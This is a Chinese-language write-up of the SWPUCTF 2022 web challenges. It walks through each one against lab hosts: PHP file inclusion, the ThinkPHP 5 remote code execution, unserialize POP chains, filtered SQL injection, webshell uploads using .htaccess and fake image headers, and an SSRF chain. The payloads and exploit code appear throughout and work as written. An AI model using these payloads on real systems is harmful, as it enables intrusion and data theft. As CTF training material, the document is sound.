[SWPUCTF 2022]——Web方向 详细Writeup

SWPUCTF 2022

ez_ez_php

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

文件包含,利用伪协议读取,构造payload:

http://node1.anna.nssctf.cn:28012/?file=php://filter/read=convert.base64-encode/resource=flag

然后base64解码得到flag

ez_rce

f12,看不到啥,抓包抓不到什么东西

[SWPUCTF 2022]——Web方向 详细Writeup_第1张图片

用dirsearch扫一下,发现有robots.txt

image-20230707150822172

访问一下,发现hint/NSS/index.php

[SWPUCTF 2022]——Web方向 详细Writeup_第2张图片

访问一下

[SWPUCTF 2022]——Web方向 详细Writeup_第3张图片

一时间没什么思路,google一下ThinkPHP V5发现是个CVE

ThinkPHP 5.x 远程命令执行漏洞分析与复现

由于靶机和本地搭建环境不同,以下给出两种payload

flag不在/flag中,flag路径是/NSS/ctf/flag/flag

一、写入shell

payload:

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=

该代码就是写入了一个test.php,内容是一个shell,接下来就可以利用shell来读取flag,payload:

不是我不想用蚁剑连,而是不知道为什么连不上去

http://node1.anna.nssctf.cn:28962/test.php?code=system(%22cat%20/nss/ctf/flag/flag%22);

二、直接读取flag

可以利用find命令来找到flag,毕竟不好找

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20$(find%20/%20-name%20flag)

或者一个一个的找来读取flag文件

http://node1.anna.nssctf.cn:28962/NSS/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/nss/ctf/flag/flag

奇妙的MD5

hint:可曾听过ctf 中一个奇妙的字符串

先提交查询然后抓个包看看

[SWPUCTF 2022]——Web方向 详细Writeup_第4张图片

可以看到我们提交的数据都会经过md5解密然后再进行处理

[SWPUCTF 2022]——Web方向 详细Writeup_第5张图片

所以首先我们要找到一个字符串,这个字符串经过md5得到的16位原始二进制的字符串能帮我们实现sql注入

or这个字符串是必要的,同时为了配对原先sql语句里面有的单引号,在or的两边要有单引号,使它变成 password=‘xxx’or‘xxx’ 的形式。

所以我们需要的字符串的原始二进制格式的字符串里要包含 'or'如果根据原始二进制来找到我们要的字符串可能会比较麻烦,那么可以根据32位16进制的字符串来查找,根据上面介绍的, 'or' 对应的16进制是 276f7227 ,所以我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的。

接着就是要看关键的数字部分了,在276f7227这个字段后面紧跟一个数字,除了0,1-9,对应的asc码值是49-57,转化为16进制就是31-39,也就是我们需要有276f7227+(31-39)这个字段,就可以满足要求。比如xxxxxxxxxxxxxxxx276f7227(31-39)xxxxxx

ffifdyop,这个点的原理是 ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是 ‘ or ‘6,

而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from ‘admin’ where password=’’ or ‘6xxxxx’

所以将ffifdyop提交查询,进入新界面

[SWPUCTF 2022]——Web方向 详细Writeup_第6张图片

f12查看源码,md5弱比较,直接数组绕过就可以

$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;

构造payload:

node3.anna.nssctf.cn:28028/c0nt1nue.php?x[]=1&y[]=2

进入新界面,得到源码


error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
} 

这次就是md5强比较,构造payload:

wqh=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&dsy=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

ez_ez_php(revenge)

打开环境得到源码

 <?php
error_reporting(0);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 3) === "php" ) {
        echo "Nice!!!";
        include($_GET["file"]);
    } 

    else {
        echo "Hacker!!";
    }
}else {
    highlight_file(__FILE__);
}
//flag.php 

也是利用伪协议,直接构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=flag.php

然后base64解码解码一下,擦,被骗了

[SWPUCTF 2022]——Web方向 详细Writeup_第7张图片

重新构造payload:

http://node3.anna.nssctf.cn:28472/?file=php://filter/read=convert.base64-encode/resource=/flag

这次base64解码可以得到flag了

1z_unserialize


 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
?> 

这里考察反序列化,利用点在

$a($this->lly);

这里可以让$asystem来进行命令执行,并且在函数销毁时会被设置为$lt的值

构造exp:



class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;

    function  __construct()
    {
        $this->lt ="system";
        $this->lly="ls /";
    }
}
$a=new lyh();
echo (serialize($a))
?>

payload:

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

然后利用POST发包

[SWPUCTF 2022]——Web方向 详细Writeup_第8张图片

修改命令得到flag

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:7:"cat /f*";}

numgame

dirsearch扫一下,可以看到有一些文件

[SWPUCTF 2022]——Web方向 详细Writeup_第9张图片

访问一下flag.php然后打开F12,然后再去访问index.php,查看源代码

[SWPUCTF 2022]——Web方向 详细Writeup_第10张图片

可以得到

NSSCTF{TnNTY1RmLnBocA==}

解码一下

[SWPUCTF 2022]——Web方向 详细Writeup_第11张图片

然后去访问NsScTf.php文件,得到代码

 <?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
} 
  1. 它包含了一个名为 “flag.php” 的文件的内容。这个文件可能包含了一些敏感信息,可能是题目的解答或者标志。
  2. 定义了一个名为 nss 的类,其中有一个静态方法 ctf。在这个方法内部,包含了一个名为 “hint2.php” 的文件。
  3. 如果通过GET请求传递了参数 p,则会进入条件判断。在条件判断内部,使用正则表达式检查参数 p 是否包含字符 “n” 或 “c”,如果包含就会输出 “no” 并终止程序。
  4. 如果条件判断没有通过,就会调用 call_user_func 来执行参数 p 对应的函数。
  5. 如果没有传递参数 p,则会使用 highlight_file 函数将当前文件的源代码高亮显示在浏览器中。

这里正则匹配会匹配GET方式传参的p的值,结合第一个hint,我们推测需要用POST形式发包

其实这里用大小写绕过也可以,因为这个正则匹配没有用/i来忽略大小写

这里看到有hint2.php,访问一下hint2.php,得到第二个hint

image-20230827001022410

所以进行post发包,类名是nss2,函数还是ctf

构造payload:

p=nss2::ctf

[SWPUCTF 2022]——Web方向 详细Writeup_第12张图片

其实这里hint2.php是按照类似的方式来查看的,但是能直接看

where_am_i

打开环境

[SWPUCTF 2022]——Web方向 详细Writeup_第13张图片

推测是输入手机号码,用识图网站看一下

[SWPUCTF 2022]——Web方向 详细Writeup_第14张图片

查一下古迹酒店的电话号码

[SWPUCTF 2022]——Web方向 详细Writeup_第15张图片

得到电话号码,去掉括号

02886112888

踩坑点:这里输了好几次都没有用,还以为是电话号码的问题,重新进一下环境就好了

然后输入可以得到flag

[SWPUCTF 2022]——Web方向 详细Writeup_第16张图片

ez_ez_unserialize

源码如下


class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

这里__FILE__的作用是获取当前文件

然后在反序列化开始的时候触发__wakeup()魔术方法,来检测$x的值是否为当前文件名,如果不是,则重新赋值为__FILE__

然后在反序列化结束的时候触发__destruct()魔术方法,来显示文件文件内容

染过__wakeup()之前先看看PHP版本

[SWPUCTF 2022]——Web方向 详细Writeup_第17张图片

可以看到PHP5版本 <5.6.25

所以可以利用对象的属性数量不一致方法来绕过

先构造exp,flag在fllllllag.php


class X
{
    public $x;
    function __construct()
    {
        $this->x = "fllllllag.php";
    }
}

$a=new X();
echo serialize($a);

运行得到

O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改属性数量

O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参,payload

http://node5.anna.nssctf.cn:28562/?x=O:1:%22X%22:2:{s:1:%22x%22;s:13:%22fllllllag.php%22;}

得到flag

image-20230828183424374

js_sign

F12可以看到源代码

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

dGFwY29kZQ==解码可以得到tapcode

敲击码(?),没见过,直接去空格解码flag

敲击码在线解密

将字符串去空格得到

3343431344215434452124331421311122125444113513341415

反查得到

n(N) s(S) s(S) c(C) t(T) f(F) y(Y) o(O) u(U) f(F) i(I) n(N) d(D) f(F) l(L) a(A) g(G) b(B) y(Y) t(T) a(A) p(P) c(C) o(O) d(D) e(E)

得到flag

NSSCTF{youfindflagbytapcode}

xff

打开环境

image-20230828184624665

猜测是XFF伪造,burp抓包然后伪造

X-Forwarded-For:127.0.0.1

[SWPUCTF 2022]——Web方向 详细Writeup_第18张图片

说明必须从主页跳转,Referer伪造

Referer:127.0.0.1

得到flag

[SWPUCTF 2022]——Web方向 详细Writeup_第19张图片

ez_sql

提示我们要用相对安全的方式传参,所以这里用POST传参,如果用GET会弹出报错

[SWPUCTF 2022]——Web方向 详细Writeup_第20张图片

先判断闭合方式

根据报错方式可以得知闭合方式是单引号

image-20230830225228203

接下来尝试一下联合注入

nss=1' union select 1,2,3;#

image-20230830230706238

根据报错信息,可以发现union空格是会被消除的,这里union尝试用双写替代一下,空格试试/**/

构造payload:

nss=2'/**/ununionion/**/select/**/1,2,3;#

绕过成功

[SWPUCTF 2022]——Web方向 详细Writeup_第21张图片

接下来爆库

nss=2'/**/ununionion/**/select/**/1,database(),3;#

爆表

这里爆表的时候注意一下,or会被消除,所以双写一下

image-20230830231432464

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#

[SWPUCTF 2022]——Web方向 详细Writeup_第22张图片

爆字段

nss=2'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#

[SWPUCTF 2022]——Web方向 详细Writeup_第23张图片

获取数据

nss=2'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_tb;#

[SWPUCTF 2022]——Web方向 详细Writeup_第24张图片

不知道为什么是两个。。。。Secr3t那个表里的是对的

webdog1__start

F12可以看到代码

if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 

对于$a==md5($a)这种类型的弱比较,数组是绕过不了的,这里用0e绕过弱比较

payload:

?web=0e215962017

然后进入到start.php界面

[SWPUCTF 2022]——Web方向 详细Writeup_第25张图片

然后继续Ctrl+U查看前端代码,可以看到hint

[SWPUCTF 2022]——Web方向 详细Writeup_第26张图片

这里的bot指的就是robots.txt,访问一下

[SWPUCTF 2022]——Web方向 详细Writeup_第27张图片

这里不知道为什么用火狐直接访问中文乱码了(

[SWPUCTF 2022]——Web方向 详细Writeup_第28张图片

然后去访问f14g.php

抓包从返回头可以看到hint

[SWPUCTF 2022]——Web方向 详细Writeup_第29张图片

接下来去访问F1l1l1l1l1lag.php访问得到代码


error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}

我们需要以get方式传入get参数

并且传入参数不能存在空格,如果有flag,把flag利用str_ireplace()函数变成空格

字符串的长度要小于等于18,如果以上条件都满足,就会利用eval来执行get参数

绕过空格的方式很多,经常用到的是两个<重定向符,和间隔符$IFS

因为IFS为系统变量,默认值为空格,又因为变量的优先级要比命令高,所以可以使用命令+$IFS+参数的方式绕过空格过滤

但是我们并不能直接使用命令+$IFS+参数的方法进行绕过,比如cat$IFSflag,这样是不可以的,因为linux系统或将$IFSflag看做一个整体,从而不能正常的被解析为空格。所以需要在$IFS后面进行截断,以保证$IFS被成功解析有几种方式:

  1. 利用绝对路径前面的/分隔 cat$IFS/flag.php
  2. 利用通配符?分隔 ,?在linux里面可以进行代替字母

在linux里面可以进行模糊匹配 cat$IFS?lag.php

3.利用${}分隔cat${IFS}flag.php

4.可以创建自定义变量:a=参数,命令$IFS$a cat$IFS$aflag.php

5.未过滤"0~9"、"@"、"*"命令$IFS$

通过文件重定向来绕过空格的原理就是文件重定向符号执行优先级大于命令

格式:catflag.txt

对于文件重定向操作符绕过空格过滤,只能用于文件查看的相关命令,比如cat,head,tail,more等。

其他绕过方式:制表符%09%0a 制表符\t

至于绕过flag,这里也很简单,我看到基本都是用刚才讲到的*进行模糊匹配

而且因为长度原因,你最好使用一些比较短的绕过方式,比如cat就可以换成nl这种

最终payload:

?get=system("nl%09/*");
?get=system("nl\t/*");

或者利用自定义变量

?get=eval($_GET['A']);&A=system('cat /flag');

funny_php

打开环境得到源代码


    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }
?> 

一层一层来,需要我们传入num,并且长度要字符长度<=3并且数字>999999999

这里可以利用指数e绕过

构造payload

?num=9e9

然后我们需要传入str的值为NSSCTF,但是这里会通过正则匹配然后将NSSCTF替换为空,但是这里不会循环检测替换后的str,可以利用双写绕过

构造payload:

?num=9e9&str=NNSSCTFSSCTF

然后POST传入md5_1md5_2,要求这两个值都是字符串,并且md5_1!==md5_2,并且两个值md5加密后的值相同,但是这里是弱比较

这里选择用0e绕过弱比较

对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同

POST传参

md5_1=QNKCDZO&md5_2=PJNPDWY

最后请求头如下

[SWPUCTF 2022]——Web方向 详细Writeup_第30张图片

ez_1zpop

代码如下


error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

构造pop链

这里的要在fin类的fmm()函数进行命令执行

向上找,发现是在__toString()魔术方法会触发impo的值的fmm()函数

__toString(): 当一个对象被当作字符串使用时触发

所以向上找是__destruct(),pop如下

fin::fmm() <- lt::__toString <- lt::__destruct

在构造exp的时候要__toString()的条件,我们需要构造传入md51md52的值,并且md5加密后值相等,但是md51不能等于md51,这里是弱比较,可以利用0e绕过弱比较(这里跟上一题一样)

exp:


class lt
{
    public $impo;
    public $md51 = 'QNKCDZO';
    public $md52 = 'PJNPDWY';
    function __construct()
    {
        $this->impo = new fin();
    }
}
class fin
{
    public $a;
    public $url = '111';
    public $title ;
    function __construct()
    {
        $this->a = 'system';
        $this->title='ls /';
    }
}

$a = new lt();
echo serialize($a);

运行生成

O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

但是这里注意一下__wakeup()魔术方法

   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

他会将impo的值赋为new dxg,这就不能进入到我们的fin类,所以要对__wakeup()进行绕过,看一下版本

[SWPUCTF 2022]——Web方向 详细Writeup_第31张图片

PHP/5.5.38,那么就说明可以用对象的属性数量不一致这个方法

修改payload:

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:4:"ls /";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

[SWPUCTF 2022]——Web方向 详细Writeup_第32张图片

然后再修改命令为cat /f*得到flag

O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:3:"111";s:5:"title";s:7:"cat /f*";}s:4:"md51";s:7:"QNKCDZO";s:4:"md52";s:7:"PJNPDWY";}

Ez_upload

文件上传,先上传php文件试试

[SWPUCTF 2022]——Web方向 详细Writeup_第33张图片

黑名单过滤,那就利用.htaccess文件进行绕过,上传.htaccess,内容如下


SetHandler application/x-httpd-php

先上传.htaccess文件

[SWPUCTF 2022]——Web方向 详细Writeup_第34张图片

但是这里还是上传失败,应该还是存在过滤,修改一下MIME类型

[SWPUCTF 2022]——Web方向 详细Writeup_第35张图片

这样就上传成功了,然后上传jpg图片马

[SWPUCTF 2022]——Web方向 详细Writeup_第36张图片

换个类型,说明存在文件类型检测,前面加个文件头,GIF89a,加了之后还是不行(有完没完

应该是存在短标签过滤,换个内容传一下

GIF89a<script language ="php"> eval($_REQUEST['cmd']); </script>

[SWPUCTF 2022]——Web方向 详细Writeup_第37张图片

然后去访问一下

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg

接着进行RCE

[SWPUCTF 2022]——Web方向 详细Writeup_第38张图片

然后看一下flag的内容,发现没东西,被骗了

看一下phpinfo

http://node5.anna.nssctf.cn:28211/upload/1ab7604dc44c5225b3b50a4f361f5fc7/shell.jpg?cmd=phpinfo();

得到flag

image-20230830023122450

funny_web

随便输个账号密码,弹出hint

[SWPUCTF 2022]——Web方向 详细Writeup_第39张图片

用户名是NSS,密码随便输

[SWPUCTF 2022]——Web方向 详细Writeup_第40张图片

密码是2122693401,登录,得到源代码

谢队夹带私货是吧


error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
} 

然后这里绕过intval()函数就可以了,这里可以用小数绕过

构造payload:

http://node5.anna.nssctf.cn:28399/rea11y.php?num=12345.6

传参得到flag

file_master

题目存在文件查看功能,但是不能直接查看flag,权限不够

[SWPUCTF 2022]——Web方向 详细Writeup_第41张图片

先查看index.php

[SWPUCTF 2022]——Web方向 详细Writeup_第42张图片

可以得到源码


    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
                if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>

可以看到会检测MIME类型,只允许image/jpeg

然后将文件上传之后会进行正则匹配,如果文件内容中含有php(不区分大小写)那么久就会延迟五秒之后移除该文件

这里其实就是短标签过滤,换个短标签即可绕过


php短标签绕过

php中最常见的标签为

不过在题目上传时可能会被waf过滤掉php关键字。根据查询结果,还有四种php的标签,分别是:

仅在配置short_open_tag=on时可以使用,适合执行php语句;

即使配置short_open_tag=off时依然可以使用,相当于,适合输出php语句~

上述二者的短标签都不必闭合(即?>可以省略不写,也可以连接成功


 

 

然后上传一句话木马

[SWPUCTF 2022]——Web方向 详细Writeup_第43张图片

存在文件头检测,那就加个文件头GIF89a

[SWPUCTF 2022]——Web方向 详细Writeup_第44张图片

然后回显提示图像的宽和高必须小于20

记得去掉上面的那个phpinfo()

这里就上传成功了

[SWPUCTF 2022]——Web方向 详细Writeup_第45张图片

然后利用sessionidfilename进行RCE

payload:

http://node5.anna.nssctf.cn:28118/upload/7mvv3slg9k03vuarv1ckom0hrl/shell.php?cmd=system(%22cat%20/f*%22);

Power!

F12可以查看hint

[SWPUCTF 2022]——Web方向 详细Writeup_第46张图片

source,随便传参让其等于一个数

http://node5.anna.nssctf.cn:28431/?source=1

得到源码


    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
    if(isset($_GET['source'])){
        highlight_file(__FILE__);
    }else{
        if(isset($_GET['image_path'])){
            $path = $_GET['image_path'];    //flag in /flag.php
            if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
                echo '.base64_encode(file_get_contents($path)).'"/>';
            }else{
                echo '

Seriously??

.
base64_encode(file_get_contents("cheems.jpg")).'"/>'; } }else if(isset($_GET['path_info'])){ $path_info = $_GET['path_info']; $FV = unserialize(base64_decode($path_info)); $FV->loadfile(); }else{ $path = "vergil.jpg"; echo '

POWER!!

.
base64_encode(file_get_contents($path)).'"/>'; } } ?>

从这一段可以看出,查询的文件会通过file_get_contents()函数以base64编码的形式输出,所以可以看一下flag.php

[SWPUCTF 2022]——Web方向 详细Writeup_第47张图片

解码一下得到



$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

这道题目的且切入点在FileViewer中的loadfile()方法中,有代码可以实现curl命令,根据flag.php中的内容,我们可以curl 127.0.0.1:65500/flag

[SWPUCTF 2022]——Web方向 详细Writeup_第48张图片

向上找,要想触发loadfile()函数需要先触发FileViewer__call()魔术方法

__call() :在对象上下文中调用不可访问的方法时触发

[SWPUCTF 2022]——Web方向 详细Writeup_第49张图片

那就找找如何来触发__call()魔术方法,可以看到在Backdoor__destruct()魔术方法会访问一个不存在的方法c()

__destruct() :对象被销毁时触发

[SWPUCTF 2022]——Web方向 详细Writeup_第50张图片

但是在此之前会先进入到goodman方法来进行重新赋值,将$a类中的$b属性重新赋值为该类,也就是Backdoor$superhacker的值

链子构造到这里还没有解决最关键的一点,就是设置我们curl的路径,通过审计代码

$file = $this->curl($this->local.$this->path);

可以得知,curl的路径是由FileViewerlocalpath决定的,正好,我们可以通过$a变量来创建一个新的FileViewer对象

构造exp的时候可以修改一下black_list的值,让他不在过滤flag,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize之前会先进行一次base64解码

构造exp


class FileViewer{
